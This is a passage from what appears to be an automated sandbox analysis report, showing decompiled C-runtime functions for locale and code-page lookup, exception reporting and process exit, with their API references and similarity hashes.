					if(GetLocaleInfoW( *_t12, 0x20001004,  &_v8, 2) != 0) {
						_t17 = _v8;
						if(_t17 == 0) {
							_t17 = GetACP();
						}
						L25:
						return _t17;
					}
					L22:
					_t17 = 0;
					goto L25;
				}
				_t18 = 0;
				if( *_t23 == 0) {
					goto L21;
				}
				_t36 = 0x6e1b1648;
				_t25 = _t23;
				while(1) {
					_t30 =  *_t25;
					if(_t30 !=  *_t36) {
						break;
					}
					if(_t30 == 0) {
						L7:
						_t26 = _t18;
						L9:
						if(_t26 == 0) {
							goto L21;
						}
						_t37 = 0x6e1b1650;
						_t27 = _t23;
						while(1) {
							_t31 =  *_t27;
							if(_t31 !=  *_t37) {
								break;
							}
							if(_t31 == 0) {
								L17:
								if(_t18 != 0) {
									_t17 = E6E17F58D(_t23, _t23);
									goto L25;
								}
								_t8 = _a8 + 8; // 0xfde8fe81
								if(GetLocaleInfoW( *_t8, 0x2000000b,  &_v8, 2) == 0) {
									goto L22;
								}
								_t17 = _v8;
								goto L25;
							}
							_t32 =  *((intOrPtr*)(_t27 + 2));
							if(_t32 !=  *((intOrPtr*)(_t37 + 2))) {
								break;
							}
							_t27 = _t27 + 4;
							_t37 = _t37 + 4;
							if(_t32 != 0) {
								continue;
							}
							goto L17;
						}
						asm("sbb eax, eax");
						_t18 = _t18 | 0x00000001;
						goto L17;
					}
					_t33 =  *((intOrPtr*)(_t25 + 2));
					if(_t33 !=  *((intOrPtr*)(_t36 + 2))) {
						break;
					}
					_t25 = _t25 + 4;
					_t36 = _t36 + 4;
					if(_t33 != 0) {
						continue;
					}
					goto L7;
				}
				asm("sbb edx, edx");
				_t26 = _t25 | 0x00000001;
				goto L9;
			}

0x6e18cb34
0x6e18cb35
0x6e18cb3c
0x6e18cbe0
0x6e18cbee
0x6e18cbf9
0x6e18cbff
0x6e18cc04
0x6e18cc06
0x6e18cc06
0x6e18cc0c
0x6e18cc11
0x6e18cc11
0x6e18cbfb
0x6e18cbfb
0x00000000
0x6e18cbfb
0x6e18cb42
0x6e18cb47
0x00000000
0x00000000
0x6e18cb4d
0x6e18cb52
0x6e18cb54
0x6e18cb54
0x6e18cb5a
0x00000000
0x00000000
0x6e18cb5f
0x6e18cb76
0x6e18cb76
0x6e18cb7f
0x6e18cb81
0x00000000
0x00000000
0x6e18cb83
0x6e18cb88
0x6e18cb8a
0x6e18cb8a
0x6e18cb90
0x00000000
0x00000000
0x6e18cb95
0x6e18cbb3
0x6e18cbb5
0x6e18cbd8
0x00000000
0x6e18cbdd
0x6e18cbc5
0x6e18cbd0
0x00000000
0x00000000
0x6e18cbd2
0x00000000
0x6e18cbd2
0x6e18cb97
0x6e18cb9f
0x00000000
0x00000000
0x6e18cba1
0x6e18cba4
0x6e18cbaa
0x00000000
0x00000000
0x00000000
0x6e18cbac
0x6e18cbae
0x6e18cbb0
0x00000000
0x6e18cbb0
0x6e18cb61
0x6e18cb69
0x00000000
0x00000000
0x6e18cb6b
0x6e18cb6e
0x6e18cb74
0x00000000
0x00000000
0x00000000
0x6e18cb74
0x6e18cb7a
0x6e18cb7c
0x00000000

APIs

GetLocaleInfoW.KERNEL32(FDE8FE81,2000000B,00000000,00000002,00000000,?,?,?,6E18CE4E,?,00000000), ref: 6E18CBC8
GetLocaleInfoW.KERNEL32(FDE8FE81,20001004,00000000,00000002,00000000,?,?,?,6E18CE4E,?,00000000), ref: 6E18CBF1
GetACP.KERNEL32(?,?,6E18CE4E,?,00000000), ref: 6E18CC06

Strings

OCP, xrefs: 6E18CB83
ACP, xrefs: 6E18CB4D

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: acd6b62b5a24563dd5b66e84c3a39a9b75d0dc8c7937344c2c88cce817b3c2f5
Instruction ID: 207279bf8630ff93d1fec9fbe12d5cedcce5a8cca08e088aafeca6982acdefea
Opcode Fuzzy Hash: acd6b62b5a24563dd5b66e84c3a39a9b75d0dc8c7937344c2c88cce817b3c2f5
Instruction Fuzzy Hash: 8D21F732754901ABD7508FD9C900A8773AAFB51BA0B768264E819DF104E732CDC0EF92

Uniqueness

Uniqueness Score: -1.00%

Function 6E18CD03, Relevance: 7.7, APIs: 5, Instructions: 188
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E6E18CD03(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, signed int _a4, short* _a8, short* _a12) {
				signed int _v8;
				int _v12;
				int _v16;
				char _v20;
				signed int* _v24;
				short* _v28;
				signed int _t39;
				void* _t45;
				signed int* _t46;
				signed int _t47;
				short* _t48;
				int _t49;
				short* _t56;
				short* _t57;
				short* _t58;
				int _t66;
				int _t68;
				short* _t72;
				intOrPtr _t75;
				void* _t77;
				short* _t78;
				intOrPtr _t85;
				short* _t89;
				short* _t92;
				void* _t94;
				short** _t102;
				short* _t103;
				signed int _t105;
				signed short _t108;
				signed int _t109;
				void* _t110;

				_t39 =  *0x6e1bb164; // 0x55e3ddbb
				_v8 = _t39 ^ _t109;
				_t89 = _a12;
				_t105 = _a4;
				_v28 = _a8;
				_v24 = E6E17FA06(_t89, __ecx, __edx) + 0x50;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t45 = E6E17FA06(_t89, __ecx, __edx);
				_t99 = 0;
				 *((intOrPtr*)(_t45 + 0x34c)) =  &_v20;
				_t92 = _t105 + 0x80;
				_t46 = _v24;
				 *_t46 = _t105;
				_t102 =  &(_t46[1]);
				 *_t102 = _t92;
				if(_t92 != 0 &&  *_t92 != 0) {
					_t85 =  *0x6e1b1644; // 0x17
					E6E18CCA6(0, 0x6e1b1530, _t85 - 1, _t102);
					_t46 = _v24;
					_t110 = _t110 + 0xc;
					_t99 = 0;
				}
				_v20 = _t99;
				_t47 =  *_t46;
				if(_t47 == 0 ||  *_t47 == _t99) {
					_t48 =  *_t102;
					__eflags = _t48;
					if(_t48 == 0) {
						L19:
						_v20 = 0x104;
						_t49 = GetUserDefaultLCID();
						_v12 = _t49;
						_v16 = _t49;
						goto L20;
					}
					__eflags =  *_t48 - _t99;
					if( *_t48 == _t99) {
						goto L19;
					}
					E6E18C643(_t92, _t99,  &_v20);
					_pop(_t92);
					goto L20;
				} else {
					_t72 =  *_t102;
					if(_t72 == 0 ||  *_t72 == _t99) {
						E6E18C729(_t92, _t99,  &_v20);
					} else {
						E6E18C68E(_t92, _t99,  &_v20);
					}
					_pop(_t92);
					if(_v20 != 0) {
						_t103 = 0;
						__eflags = 0;
						goto L25;
					} else {
						_t75 =  *0x6e1b152c; // 0x41
						_t77 = E6E18CCA6(_t99, 0x6e1b1220, _t75 - 1, _v24);
						_t110 = _t110 + 0xc;
						if(_t77 == 0) {
							L20:
							_t103 = 0;
							__eflags = 0;
							L21:
							if(_v20 != 0) {
								L25:
								asm("sbb esi, esi");
								_t108 = E6E18CB2F(_t92,  ~_t105 & _t105 + 0x00000100,  &_v20);
								_pop(_t94);
								__eflags = _t108;
								if(_t108 == 0) {
									goto L22;
								}
								__eflags = _t108 - 0xfde8;
								if(_t108 == 0xfde8) {
									goto L22;
								}
								__eflags = _t108 - 0xfde9;
								if(_t108 == 0xfde9) {
									goto L22;
								}
								_t56 = IsValidCodePage(_t108 & 0x0000ffff);
								__eflags = _t56;
								if(_t56 == 0) {
									goto L22;
								}
								_t57 = IsValidLocale(_v16, 1);
								__eflags = _t57;
								if(_t57 == 0) {
									goto L22;
								}
								_t58 = _v28;
								__eflags = _t58;
								if(__eflags != 0) {
									 *_t58 = _t108;
								}
								E6E183B4D(_t89, _t94, _t103, _t108, __eflags, _v16,  &(_v24[0x94]), 0x55, _t103);
								__eflags = _t89;
								if(__eflags == 0) {
									L36:
									L23:
									return E6E173D51(_v8 ^ _t109);
								}
								_t33 =  &(_t89[0x90]); // 0x6e181a8e
								E6E183B4D(_t89, _t94, _t103, _t108, __eflags, _v16, _t33, 0x55, _t103);
								_t66 = GetLocaleInfoW(_v16, 0x1001, _t89, 0x40);
								__eflags = _t66;
								if(_t66 == 0) {
									goto L22;
								}
								_t36 =  &(_t89[0x40]); // 0x6e1819ee
								_t68 = GetLocaleInfoW(_v12, 0x1002, _t36, 0x40);
								__eflags = _t68;
								if(_t68 == 0) {
									goto L22;
								}
								_t38 =  &(_t89[0x80]); // 0x6e181a6e
								E6E18E65A(_t38, _t108, _t38, 0x10, 0xa);
								goto L36;
							}
							L22:
							goto L23;
						}
						_t78 =  *_t102;
						_t103 = 0;
						if(_t78 == 0 ||  *_t78 == 0) {
							E6E18C729(_t92, _t99,  &_v20);
						} else {
							E6E18C68E(_t92, _t99,  &_v20);
						}
						_pop(_t92);
						goto L21;
					}
				}
			}

0x6e18cd0b
0x6e18cd12
0x6e18cd19
0x6e18cd1d
0x6e18cd21
0x6e18cd2f
0x6e18cd34
0x6e18cd35
0x6e18cd36
0x6e18cd37
0x6e18cd3f
0x6e18cd41
0x6e18cd47
0x6e18cd4d
0x6e18cd50
0x6e18cd52
0x6e18cd55
0x6e18cd59
0x6e18cd60
0x6e18cd6d
0x6e18cd72
0x6e18cd75
0x6e18cd78
0x6e18cd78
0x6e18cd7a
0x6e18cd7d
0x6e18cd81
0x6e18cdf1
0x6e18cdf3
0x6e18cdf5
0x6e18ce08
0x6e18ce08
0x6e18ce0f
0x6e18ce15
0x6e18ce18
0x00000000
0x6e18ce18
0x6e18cdf7
0x6e18cdfa
0x00000000
0x00000000
0x6e18ce00
0x6e18ce05
0x00000000
0x6e18cd88
0x6e18cd88
0x6e18cd8c
0x6e18cda2
0x6e18cd93
0x6e18cd97
0x6e18cd97
0x6e18cdab
0x6e18cdac
0x6e18ce36
0x6e18ce36
0x00000000
0x6e18cdb2
0x6e18cdb2
0x6e18cdc1
0x6e18cdc6
0x6e18cdcb
0x6e18ce1b
0x6e18ce1b
0x6e18ce1b
0x6e18ce1d
0x6e18ce21
0x6e18ce38
0x6e18ce44
0x6e18ce4e
0x6e18ce51
0x6e18ce52
0x6e18ce54
0x00000000
0x00000000
0x6e18ce56
0x6e18ce5c
0x00000000
0x00000000
0x6e18ce5e
0x6e18ce64
0x00000000
0x00000000
0x6e18ce6a
0x6e18ce70
0x6e18ce72
0x00000000
0x00000000
0x6e18ce79
0x6e18ce7f
0x6e18ce81
0x00000000
0x00000000
0x6e18ce83
0x6e18ce86
0x6e18ce88
0x6e18ce8a
0x6e18ce8a
0x6e18ce9b
0x6e18cea0
0x6e18cea2
0x6e18cf02
0x6e18ce25
0x6e18ce35
0x6e18ce35
0x6e18cea7
0x6e18ceb1
0x6e18cec1
0x6e18cec7
0x6e18cec9
0x00000000
0x00000000
0x6e18ced1
0x6e18cee0
0x6e18cee6
0x6e18cee8
0x00000000
0x00000000
0x6e18cef2
0x6e18cefa
0x00000000
0x6e18ceff
0x6e18ce23
0x00000000
0x6e18ce23
0x6e18cdcd
0x6e18cdcf
0x6e18cdd3
0x6e18cde9
0x6e18cdda
0x6e18cdde
0x6e18cdde
0x6e18cdee
0x00000000
0x6e18cdee
0x6e18cdac

APIs

Part of subcall function 6E17FA06: GetLastError.KERNEL32(?,?,6E17A016,6E1B9300,0000000C,6E169063,6E1700BE,?,00000001), ref: 6E17FA0A
Part of subcall function 6E17FA06: _free.LIBCMT ref: 6E17FA3D
Part of subcall function 6E17FA06: SetLastError.KERNEL32(00000000,6E1B9300,0000000C,6E169063,6E1700BE,?,00000001,?,?,?,?,?,?,?,6E170044), ref: 6E17FA7E
Part of subcall function 6E17FA06: _abort.LIBCMT ref: 6E17FA84

Part of subcall function 6E17FA06: _free.LIBCMT ref: 6E17FA65
Part of subcall function 6E17FA06: SetLastError.KERNEL32(00000000,6E1B9300,0000000C,6E169063,6E1700BE,?,00000001,?,?,?,?,?,?,?,6E170044), ref: 6E17FA72

GetUserDefaultLCID.KERNEL32(?,?,?), ref: 6E18CE0F
IsValidCodePage.KERNEL32(00000000), ref: 6E18CE6A
IsValidLocale.KERNEL32(?,00000001), ref: 6E18CE79
GetLocaleInfoW.KERNEL32(?,00001001,6E18196E,00000040,?,6E181A8E,00000055,00000000,?,?,00000055,00000000), ref: 6E18CEC1
GetLocaleInfoW.KERNEL32(?,00001002,6E1819EE,00000040), ref: 6E18CEE0

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastLocale$InfoValid_free$CodeDefaultPageUser_abort
String ID:
API String ID: 745075371-0
Opcode ID: 89d77f14a4b250891987c3fe597f6f2b51966c8ff52b5ba6b376dbeafc9d54e9
Instruction ID: dcb246bd581ce786c7ab3fad7c934056c2cc9b96e1772605bb3e7bce1bcedaa7
Opcode Fuzzy Hash: 89d77f14a4b250891987c3fe597f6f2b51966c8ff52b5ba6b376dbeafc9d54e9
Instruction Fuzzy Hash: 1D517F72A006069FEB10DFE5CC54AEB77BDBF19700F154665E520EB140E7709984AFA2

Uniqueness

Uniqueness Score: -1.00%

Function 6E18C7B6, Relevance: 4.7, APIs: 3, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E6E18C7B6(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, intOrPtr _a4) {
				signed int _v8;
				short _v248;
				signed int _v252;
				intOrPtr _v256;
				signed int _t50;
				signed int _t58;
				signed int _t67;
				signed int _t69;
				signed int _t72;
				signed int _t73;
				intOrPtr _t75;
				signed int _t76;
				signed int _t84;
				signed int _t86;
				signed int _t87;
				signed int _t89;
				intOrPtr _t90;
				void* _t92;
				intOrPtr* _t113;
				void* _t117;
				intOrPtr* _t119;
				signed int _t123;
				signed int _t124;
				signed int _t125;
				signed int _t126;
				void* _t127;
				signed int* _t129;
				int _t132;
				signed int _t133;
				void* _t134;

				_t50 =  *0x6e1bb164; // 0x55e3ddbb
				_v8 = _t50 ^ _t133;
				_t92 = E6E17FA06(__ebx, __ecx, __edx);
				_t129 =  *(E6E17FA06(_t92, __ecx, __edx) + 0x34c);
				_t132 = E6E18CADE(_a4);
				asm("sbb ecx, ecx");
				if(GetLocaleInfoW(_t132, ( ~( *(_t92 + 0x64)) & 0xfffff005) + 0x1002,  &_v248, 0x78) != 0) {
					_t58 = E6E1882D0(_t92, _t129, _t132,  *((intOrPtr*)(_t92 + 0x54)),  &_v248);
					_v252 = _v252 & 0x00000000;
					__eflags = _t58;
					if(_t58 != 0) {
						L18:
						__eflags = ( *_t129 & 0x00000300) - 0x300;
						if(( *_t129 & 0x00000300) == 0x300) {
							L39:
							__eflags =  !( *_t129 >> 2) & 0x00000001;
							L40:
							return E6E173D51(_v8 ^ _t133);
						}
						asm("sbb ecx, ecx");
						_t67 = GetLocaleInfoW(_t132, ( ~( *(_t92 + 0x60)) & 0xfffff002) + 0x1001,  &_v248, 0x78);
						__eflags = _t67;
						if(_t67 != 0) {
							_t69 = E6E1882D0(_t92, _t129, _t132,  *((intOrPtr*)(_t92 + 0x50)),  &_v248);
							__eflags = _t69;
							if(_t69 != 0) {
								__eflags =  *(_t92 + 0x60);
								if( *(_t92 + 0x60) != 0) {
									goto L39;
								}
								__eflags =  *(_t92 + 0x5c);
								if( *(_t92 + 0x5c) == 0) {
									goto L39;
								}
								_t72 = E6E1882D0(_t92, _t129, _t132,  *((intOrPtr*)(_t92 + 0x50)),  &_v248);
								__eflags = _t72;
								if(_t72 != 0) {
									goto L39;
								}
								_push(_t129);
								_t73 = E6E18CC36(0, _t132, 0);
								__eflags = _t73;
								if(_t73 == 0) {
									goto L39;
								}
								 *_t129 =  *_t129 | 0x00000100;
								__eflags = _t129[1];
								L37:
								if(__eflags == 0) {
									_t129[1] = _t132;
								}
								goto L39;
							}
							 *_t129 =  *_t129 | 0x00000200;
							_t123 =  *_t129;
							__eflags =  *(_t92 + 0x60) - _t69;
							if( *(_t92 + 0x60) == _t69) {
								__eflags =  *(_t92 + 0x5c) - _t69;
								if( *(_t92 + 0x5c) == _t69) {
									goto L23;
								}
								_t113 =  *((intOrPtr*)(_t92 + 0x50));
								_v256 = _t113 + 2;
								do {
									_t75 =  *_t113;
									_t113 = _t113 + 2;
									__eflags = _t75 - _v252;
								} while (_t75 != _v252);
								__eflags = _t113 - _v256 >> 1 -  *(_t92 + 0x5c);
								if(_t113 - _v256 >> 1 !=  *(_t92 + 0x5c)) {
									_t69 = 0;
									goto L23;
								}
								_push(_t129);
								_t76 = E6E18CC36(_t92, _t132, 1);
								__eflags = _t76;
								if(_t76 == 0) {
									goto L39;
								}
								 *_t129 =  *_t129 | 0x00000100;
								_t69 = 0;
								L24:
								__eflags = _t129[1] - _t69;
								goto L37;
							}
							L23:
							_t124 = _t123 | 0x00000100;
							__eflags = _t124;
							 *_t129 = _t124;
							goto L24;
						}
						 *_t129 = _t67;
						L2:
						goto L40;
					}
					asm("sbb eax, eax");
					_t84 = GetLocaleInfoW(_t132, ( ~( *(_t92 + 0x60)) & 0xfffff002) + 0x1001,  &_v248, 0x78);
					__eflags = _t84;
					if(_t84 == 0) {
						goto L1;
					}
					_t86 = E6E1882D0(_t92, _t129, _t132,  *((intOrPtr*)(_t92 + 0x50)),  &_v248);
					_pop(_t117);
					__eflags = _t86;
					if(_t86 != 0) {
						__eflags =  *_t129 & 0x00000002;
						if(( *_t129 & 0x00000002) != 0) {
							goto L18;
						}
						__eflags =  *(_t92 + 0x5c);
						if( *(_t92 + 0x5c) == 0) {
							L14:
							_t125 =  *_t129;
							__eflags = _t125 & 0x00000001;
							if((_t125 & 0x00000001) != 0) {
								goto L18;
							}
							_t87 = E6E18CC12(_t132);
							__eflags = _t87;
							if(_t87 == 0) {
								goto L18;
							}
							_t126 = _t125 | 0x00000001;
							__eflags = _t126;
							 *_t129 = _t126;
							goto L17;
						}
						_t89 = E6E18E68F(_t92, _t117, _t132,  *((intOrPtr*)(_t92 + 0x50)),  &_v248,  *(_t92 + 0x5c));
						_t134 = _t134 + 0xc;
						__eflags = _t89;
						if(_t89 != 0) {
							goto L14;
						}
						 *_t129 =  *_t129 | 0x00000002;
						__eflags =  *_t129;
						_t129[2] = _t132;
						_t119 =  *((intOrPtr*)(_t92 + 0x50));
						_t127 = _t119 + 2;
						do {
							_t90 =  *_t119;
							_t119 = _t119 + 2;
							__eflags = _t90 - _v252;
						} while (_t90 != _v252);
						__eflags = _t119 - _t127 >> 1 -  *(_t92 + 0x5c);
						if(_t119 - _t127 >> 1 ==  *(_t92 + 0x5c)) {
							_t129[1] = _t132;
						}
					} else {
						 *_t129 =  *_t129 | 0x00000304;
						_t129[1] = _t132;
						L17:
						_t129[2] = _t132;
					}
					goto L18;
				}
				L1:
				 *_t129 =  *_t129 & 0x00000000;
				goto L2;
			}

0x6e18c7c1
0x6e18c7c8
0x6e18c7d6
0x6e18c7de
0x6e18c7ed
0x6e18c7f9
0x6e18c812
0x6e18c829
0x6e18c82e
0x6e18c837
0x6e18c839
0x6e18c8ec
0x6e18c8f5
0x6e18c8f7
0x6e18c9e9
0x6e18c9f0
0x6e18c9f3
0x6e18ca03
0x6e18ca03
0x6e18c90a
0x6e18c91b
0x6e18c921
0x6e18c923
0x6e18c936
0x6e18c93d
0x6e18c93f
0x6e18c9ab
0x6e18c9ae
0x00000000
0x00000000
0x6e18c9b0
0x6e18c9b3
0x00000000
0x00000000
0x6e18c9bf
0x6e18c9c6
0x6e18c9c8
0x00000000
0x00000000
0x6e18c9ca
0x6e18c9cf
0x6e18c9d7
0x6e18c9d9
0x00000000
0x00000000
0x6e18c9db
0x6e18c9e1
0x6e18c9e4
0x6e18c9e4
0x6e18c9e6
0x6e18c9e6
0x00000000
0x6e18c9e4
0x6e18c941
0x6e18c947
0x6e18c949
0x6e18c94c
0x6e18c95e
0x6e18c961
0x00000000
0x00000000
0x6e18c963
0x6e18c969
0x6e18c96f
0x6e18c96f
0x6e18c972
0x6e18c975
0x6e18c975
0x6e18c986
0x6e18c989
0x6e18c9a5
0x00000000
0x6e18c9a5
0x6e18c98b
0x6e18c98f
0x6e18c997
0x6e18c999
0x00000000
0x00000000
0x6e18c99b
0x6e18c9a1
0x6e18c956
0x6e18c956
0x00000000
0x6e18c956
0x6e18c94e
0x6e18c94e
0x6e18c94e
0x6e18c954
0x00000000
0x6e18c954
0x6e18c925
0x6e18c817
0x00000000
0x6e18c819
0x6e18c84d
0x6e18c85b
0x6e18c861
0x6e18c863
0x00000000
0x00000000
0x6e18c86f
0x6e18c875
0x6e18c876
0x6e18c878
0x6e18c885
0x6e18c888
0x00000000
0x00000000
0x6e18c88a
0x6e18c88e
0x6e18c8d2
0x6e18c8d2
0x6e18c8d4
0x6e18c8d7
0x00000000
0x00000000
0x6e18c8da
0x6e18c8e0
0x6e18c8e2
0x00000000
0x00000000
0x6e18c8e4
0x6e18c8e4
0x6e18c8e7
0x00000000
0x6e18c8e7
0x6e18c89d
0x6e18c8a2
0x6e18c8a5
0x6e18c8a7
0x00000000
0x00000000
0x6e18c8a9
0x6e18c8a9
0x6e18c8ac
0x6e18c8af
0x6e18c8b2
0x6e18c8b5
0x6e18c8b5
0x6e18c8b8
0x6e18c8bb
0x6e18c8bb
0x6e18c8c8
0x6e18c8cb
0x6e18c8cd
0x6e18c8cd
0x6e18c87a
0x6e18c87a
0x6e18c880
0x6e18c8e9
0x6e18c8e9
0x6e18c8e9
0x00000000
0x6e18c878
0x6e18c814
0x6e18c814
0x00000000

APIs

Part of subcall function 6E17FA06: GetLastError.KERNEL32(?,?,6E17A016,6E1B9300,0000000C,6E169063,6E1700BE,?,00000001), ref: 6E17FA0A
Part of subcall function 6E17FA06: _free.LIBCMT ref: 6E17FA3D
Part of subcall function 6E17FA06: SetLastError.KERNEL32(00000000,6E1B9300,0000000C,6E169063,6E1700BE,?,00000001,?,?,?,?,?,?,?,6E170044), ref: 6E17FA7E
Part of subcall function 6E17FA06: _abort.LIBCMT ref: 6E17FA84

Part of subcall function 6E17FA06: _free.LIBCMT ref: 6E17FA65
Part of subcall function 6E17FA06: SetLastError.KERNEL32(00000000,6E1B9300,0000000C,6E169063,6E1700BE,?,00000001,?,?,?,?,?,?,?,6E170044), ref: 6E17FA72

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 6E18C80A
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 6E18C85B
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 6E18C91B

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorInfoLastLocale$_free$_abort
String ID:
API String ID: 2829624132-0
Opcode ID: 25ecf32d529a533601ae1552b41ef8fd03f88abb736dfe90e8c194fb07127f92
Instruction ID: d1a2e68c7a21d128ce6fe1c6a7de1cd6cdee3c55467b17e1e00d6ee545184341
Opcode Fuzzy Hash: 25ecf32d529a533601ae1552b41ef8fd03f88abb736dfe90e8c194fb07127f92
Instruction Fuzzy Hash: 6A61E3319502079FEB18CFA8CC82BAB77B8EF15304F2142A9E911CA584E774D9C1EF51

Uniqueness

Uniqueness Score: -1.00%

Function 6E17875F, Relevance: 4.6, APIs: 3, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E6E17875F(intOrPtr __ebx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				char _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				intOrPtr _v800;
				char _v804;
				intOrPtr _v808;
				char _v812;
				signed int _t40;
				char* _t47;
				intOrPtr _t49;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t66;
				intOrPtr _t67;
				int _t68;
				intOrPtr _t69;
				signed int _t70;

				_t69 = __esi;
				_t67 = __edi;
				_t66 = __edx;
				_t61 = __ebx;
				_t40 =  *0x6e1bb164; // 0x55e3ddbb
				_t41 = _t40 ^ _t70;
				_v8 = _t40 ^ _t70;
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E6E174A1B(_t41);
					_pop(_t62);
				}
				E6E1757E0(_t67,  &_v804, 0, 0x50);
				E6E1757E0(_t67,  &_v724, 0, 0x2cc);
				_v812 =  &_v804;
				_t47 =  &_v724;
				_v808 = _t47;
				_v548 = _t47;
				_v552 = _t62;
				_v556 = _t66;
				_v560 = _t61;
				_v564 = _t69;
				_v568 = _t67;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t22);
				_v540 = _v0;
				_t25 =  &_v0; // 0x4
				_t49 = _t25;
				_v528 = _t49;
				_v724 = 0x10001;
				_v544 =  *((intOrPtr*)(_t49 - 4));
				_v804 = _a8;
				_v800 = _a12;
				_v792 = _v0;
				_t68 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				_t36 =  &_v812; // -808
				if(UnhandledExceptionFilter(_t36) == 0 && _t68 == 0 && _a4 != 0xffffffff) {
					_push(_a4);
					E6E174A1B(_t57);
				}
				return E6E173D51(_v8 ^ _t70);
			}

0x6e17875f
0x6e17875f
0x6e17875f
0x6e17875f
0x6e17876a
0x6e17876f
0x6e178771
0x6e178779
0x6e17877b
0x6e17877e
0x6e178783
0x6e178783
0x6e17878f
0x6e1787a2
0x6e1787b0
0x6e1787b6
0x6e1787bc
0x6e1787c2
0x6e1787c8
0x6e1787ce
0x6e1787d4
0x6e1787da
0x6e1787e0
0x6e1787e6
0x6e1787ed
0x6e1787f4
0x6e1787fb
0x6e178802
0x6e178809
0x6e178810
0x6e178811
0x6e17881a
0x6e178820
0x6e178820
0x6e178823
0x6e178829
0x6e178836
0x6e17883f
0x6e178848
0x6e178851
0x6e17885f
0x6e178861
0x6e178867
0x6e178876
0x6e178882
0x6e178885
0x6e17888a
0x6e178899

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 6E178857
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 6E178861
UnhandledExceptionFilter.KERNEL32(-00000328,?,?,?,?,?,00000000), ref: 6E17886E

Memory Dump Source

Source File: 00000002.00000002.444257121.000000006E141000.00000020.00020000.sdmp, Offset: 6E140000, based on PE: true

Associated: 00000002.00000002.444243721.000000006E140000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.444517851.000000006E1BB000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444564742.000000006E1BD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444589305.000000006E252000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.444601210.000000006E254000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: c00850b9f40deab998cd19e9047bd92b7a361620f666ace69d73bf3fdeca4c20
Instruction ID: c0140bd4fd7404a5795eab45d6003420275c56e9d7258e8ccd4c20306ab05f8b
Opcode Fuzzy Hash: c00850b9f40deab998cd19e9047bd92b7a361620f666ace69d73bf3fdeca4c20
Instruction Fuzzy Hash: 5731C2749112289BCF61DF64D889BCDBBB8BF08710F5085EAE81CA7250E7309BC59F44

Uniqueness

Uniqueness Score: -1.00%

Function 6E17DF99, Relevance: 4.5, APIs: 3, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6E17DF99(int _a4) {
				void* _t14;
				void* _t16;

				if(E6E183CCD(_t14, _t16) != 0 && ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) == 0) {
					TerminateProcess(GetCurrentProcess(), _a4);
				}
				E6E17E01E(_t14, _t16, _a4);
				ExitProcess(_a4);
			}

0x6e17dfa5
0x6e17dfc1
0x6e17dfc1
0x6e17dfca
0x6e17dfd3

APIs

